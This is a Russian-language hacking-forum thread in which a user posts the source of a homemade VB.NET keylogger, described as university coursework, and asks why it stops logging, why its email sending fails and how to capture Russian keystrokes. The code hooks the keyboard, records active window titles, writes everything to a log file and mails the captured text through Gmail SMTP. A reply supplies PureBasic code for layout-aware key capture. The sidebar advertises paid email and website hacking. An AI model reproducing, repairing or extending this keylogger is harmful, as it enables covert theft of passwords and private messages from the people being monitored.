CASINOJOY - Ставка На Успех! Проверь Свою Удачу!


Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - мой первый кейлоггер или что то типа этого)
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Программирование / Basic/VB/VB.NET RSS подписка на сообщения с форума Subscribe


Новая тема Наиболее обсуждаемые темы Наиболее посещаемые темы
Поиск 
Период
Перейти

Просмотров - 8683
мой первый кейлоггер или что то типа этого)
Добавить этот топик в закладки »
RSS-лента ответов »Subscribe
roven


Novice
# | Сообщение добавлено 19.10.2012 13:43:53
Отредактировано 19.10.2012 14:26:22 by roven
такая история.в универе тема курсовой - шпионская клавиатура)
вот мне и пришлось сделать кейлогер.
с ним такие проблемы - я его запускаю - проходит некоторое время и он перестает отображать куда я захожу и что печатаю.
и я написал на таймер2 отправку на почту ноона не работает почему то(
и кейлоггер видит только английский язык.как сделать чтобы видел и рус?
 
вот код.заранее спасибо)
Visual Basic
Imports System.IO
Imports Microsoft.Win32
Imports System.Net.Mail
 

Public Class Form1
    Dim WithEvents K As New keyboard
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Integer
    Dim strin As String = Nothing
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        K.DiposeHook()
    End Sub
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        TextBox1.Text = TextBox1.Text + Now()
        IO.Directory.CreateDirectory("C:\Keylogger_Log")
        IO.File.AppendAllText("C:\Keylogger_Log\log.txt", "-------" + vbNewLine + "Keylogged strokes" + Now() + vbNewLine + "-------" + vbNewLine + vbNewLine)
        Timer1.Start()
        K.CreateHook()
    End Sub
    Private Sub K_Down(ByVal Key As String) Handles K.Down
        TextBox1.Text &= Key
        IO.File.AppendAllText("C:\Keylogger_Log\log.txt", Key)
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If strin <> GetActiveWindowTitle() Then
            TextBox1.Text = TextBox1.Text + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine
            IO.File.AppendAllText("c:\Keylogger_log\log.txt", vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine)
            strin = GetActiveWindowTitle()
        End If
    End Sub
 
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        K.CreateHook()
        Timer1.Start()
    End Sub
 
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        K.DiposeHook()
        Timer1.Stop()
    End Sub
 
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        IO.File.AppendAllText("c:\Keylogger_Log\log.txt", TextBox1.Text)
    End Sub
 
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Try
            Dim smtpServer As New SmtpClient()
            Dim mail As New mailmessage()
            smtpServer.Credentials = New Net.NetworkCredential("мыло", "пароль")
            smtpServer.Port = 587
            smtpServer.Host = "smtp.gmail.com"
            smtpServer.EnableSsl = True
            mail = New MailMessage()
            mail.From = New MailAddress("мыло")
            mail.To.Add("мыло")
            mail.Subject = "Keylogger"
            mail.Body = TextBox1.Text
            smtpServer.Send(mail)
        Catch ex As Exception
        End Try
    End Sub
End Class
 
 
Сказать спасибо Ответить Цитировать

Mineral




Scum of Society
# | Сообщение добавлено 02.01.2013 21:47:47
Отредактировано 02.01.2013 21:50:39 by BRUNOTTI

KОтвет, по делу, не считается оффтопом)

BRUNOTTI
Вопрос к модераторам: могу ли я ответить на его вопрос? Я знаю ответ, но не хочу бан за оффтоп.
 
Добавлено 02.01.2013 22:04:33 (через 14 минут 54 секунды )
 
Это хорошо.
Вот исходник на PureBasic.
 
Visual Basic
Procedure VKCodeToChr(wParam)
  Dim btKeyState.c(256)
  Define Symbol.c
  hklLayout = GetKeyboardLayout_(GetWindowThreadProcessId_(GetForegroundWindow_(), 0))
  GetKeyboardState_(@btKeyState())
  If ToAsciiEx_(wParam, MapVirtualKey_(wParam, 0), @btKeyState(), @Symbol, 0, hklLayout)
    ProcedureReturn Symbol
  EndIf
  ProcedureReturn #False
EndProcedure
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN ;Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      keyname.s=Chr(VKCodeToChr(*p\vkCode))
      AddElement(keys())
      keys()=keyname
    EndIf
  EndIf 
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, lParam)
EndProcedure

 

Добавлено 02.01.2013 22:14:57 (через 10 минут 24 секунды )
 
Писать на .Net можно ТОЛЬКО игры. Больше он ни для чего не подходит. Рулият fASM,Pure Basic, MVC++/Borland c++/dev c++.
 
Сказать спасибо Ответить Цитировать

HACK_ER




Platinum Member
# | Сообщение добавлено 02.01.2013 22:29:21
Писать на .Net можно ТОЛЬКО игры. Больше он ни для чего не подходит.
Что, что ты сказал?????????? :-)
Сказать спасибо Ответить Цитировать


Только зарегистрированные пользователи могут оставлять сообщения в форуме

Зарегистрироваться *** Авторизоваться

 Последние новости и статьи  Последние сообщения с форумов
  • Хакеры взломали украинские правительственные сайты
  • Уязвимость на diia.gov.ua
  • Опубликован бесплатный дешифратор для вымогателя BlackByte
  • Zerodium покупает уязвимости в ExpressVPN, NordVPN и Surfshark
  • За взломом сайтов REvil стояли правоохранительные органы
  • Уязвимость ProxyToken позволяет воровать почту через Microsoft Ex...
  • T-Mobile взломали через уязвимый роутер
  • Ботнет Phorpiex прекратил работу, его исходный код выставлен на п...
  • Критическая уязвимость в Cosmos DB
  • Исследователи научились обходить PIN-коды для карт Mastercard и M...

    Все новости... Все статьи... Прислать новость RSS
  • Разное / Болталка » Re: Форум жив?
  • Разное / Болталка » Форум жив?
  • Разное / Болталка » С Новым 2022 Годом!
  • Взлом и безопасность / Программы » Re: Hasp ключ для ABC-4
  • Портал / Отзывы и предложения » Предлагаем партнерство вашему форуму.
  • Разное / Предложения работы » взлом почты
  • Разное / Предложения работы » Сервис Postman - 500 руб за получение писем и 10€ за пересыл...
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}